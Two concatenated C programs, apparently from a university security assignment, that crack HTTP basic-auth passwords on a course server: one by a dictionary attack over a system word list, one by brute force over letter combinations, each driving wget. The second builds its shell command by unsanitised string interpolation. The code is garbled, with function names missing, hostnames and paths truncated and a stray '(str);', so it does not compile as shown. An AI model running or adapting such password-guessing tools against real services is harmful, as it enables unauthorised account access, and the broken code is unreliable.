#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	int count = 0;
	FILE *myFile,*myFile2,*myFile3;
	int compare1;
	char* myString;
	int length = 0;
	int start1, end1;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	
	printf("-------------now trying Dictonary force attack---------------\n");
	start1 = time();
	myFile = fopen("/usr/share/lib/dict/words","r");
	if(myFile != (FILE*) NULL)
	{
		while( fgets(myString,100,myFile) != NULL)
		{
			
			
			
			smallcmd[2] = joinMe(smallcmd[2],myString);
			length = strlen(smallcmd[2]);
			
			smallcmd[2][length-1] = '\0';
			printf("Checking : %s\n",smallcmd[2]);
			
			check(smallcmd);
			count++;
			
			myFile2 = fopen("logwget", "r");
			if (myFile2 != (FILE*) NULL)
			{
				
				fgets(myString,100,myFile2);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s\n\n",smallcmd[2]);
					end1= time();
					
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					
					fputs("\nTime taken by Dictionary Attack ",myFile3);
					compare1 = ((end1-start1)/1000000000);
					fprintf(myFile3,"%lld",compare1);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
				}
				fclose(myFile2);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}
	fclose(myFile);
	return 1;
}


#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
				  


#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52

#define TRUE 1
#define FALSE 0








typedef int (*CrackFuncPtr)(const char*, const char*);

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);

int ()
{
	char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
							'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 
							'W', 'X', 'Y', 'Z',
							'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
							'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
							'w', 'x', 'y', 'z'};
	
	char charSetS[] = {'A', 'B', 'C'};

	int i; 
	
	for (i=1; i<=MAX_PASSWD_LEN; i++)
	{
		if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
		{
			return 0;
		}
	}

	printf("\n...password not found\n");							 	
	return 0;
}

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
	int iter; 
	int chIter; 
	int curPos = 0; 
	
	char *str;
	
	int passwdFound = FALSE;
	
	str = initPasswdStr(len, chSet[0]);

	printf("\nNow trying %d character(s)\n", len);


	for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
	{
		for (chIter=len-1; chIter>=0; chIter--)
		{
			if (iter % pow(numOfCh, chIter) == 0) 
			{
				curPos = getChPos(chSet, numOfCh, str[chIter]);
				str[chIter] = chSet[curPos+1];
			}

			if (iter % pow(numOfCh, (chIter+1)) == 0) 
			{
				str[chIter] = chSet[0];
			}
		}
		
		if (func(USERNAME, str))
		{
			printf("\nPassword found: %s\n", str);
			passwdFound = TRUE;
		}

		
		printf(".");
					
	}

	(str);
	str = NULL;

	return passwdFound;
}

int getChPos(const char chSet[], int numOfCh, char ch)
{
	int i;
	
	for (i=0; i<numOfCh; i++)
	{
		if (chSet[i] == ch)
		{
			return i;
		}
	}

	return -1;
	
}

char* initPasswdStr(int len, char ch)
{
	int i;

	char *str;

	str = malloc(len);

	if (str)
	{
		for (i=0; i<len; i++)
		{
			str[i] = ch;
		}
		str[len] = '\0';
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d bytes memory.");
		exit(1);
	}
	
	return str;
}

int pow(int x, int y)
{
	int ans = 1, i;
	
	for (i=0; i<y; i++)
	{
		ans *= x;
	}

	return ans;
}

int crackHTTPAuth(const char *username, const char *passwd)
{
	char cmd[256];
	struct stat fileInfo;
	
	sprintf(cmd, "wget -O  -q --http-user=%s --http-passwd=%s --proxy=off %s", 
						username, passwd, URL);

	system(cmd);	

	(void)stat("", &fileInfo); 

	return fileInfo.st_size;
	
}

